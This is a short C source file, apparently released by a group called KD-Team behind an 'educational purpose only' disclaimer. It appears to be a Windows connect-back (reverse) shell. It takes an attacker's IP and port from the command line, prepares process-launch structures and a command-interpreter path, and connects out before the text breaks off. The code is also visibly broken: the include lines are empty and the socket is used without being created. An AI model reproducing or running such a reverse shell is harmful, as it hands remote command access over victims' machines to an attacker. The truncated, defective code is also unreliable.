/*
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+This is a little Disclaimer for if you havn't read the one on our site. +
+The tools and tutorials KD-Team develops and publishes are only ment for +
+educational purpose only.WE DO NOT encourage the use of this tools and +
+tutorials for mailicious purpose.We learned a lot during the development of them +
+so we hope you also learn and don't just use it without any brains. +
+We take completly NO responsability for any damage caused by them nor +
+are we or our isp responsible for what you do with them. +
+Greetz: KD-Team +
+http://www.kd-team.com +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/
#include
#include
#include
#include
#define RCVBUFSIZE 32
void main(int argc,char *argv[])
{
//Declaring the vars
int sock;
struct sockaddr_in cbAddr;
unsigned short cbPort;
char *cbIp;
WSADATA wsaData;
STARTUPINFO si;
PROCESS_INFORMATION pi={0};
char comspec[MAX_PATH];
//parsing arguments to the corresponding vars.
cbIp = argv[1];
cbPort = atoi(argv[2]);
// Establish the connection to the echo server
if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
{
printf("connect() failed\n");
closesocket(sock);
WSACleanup();
exit(1);...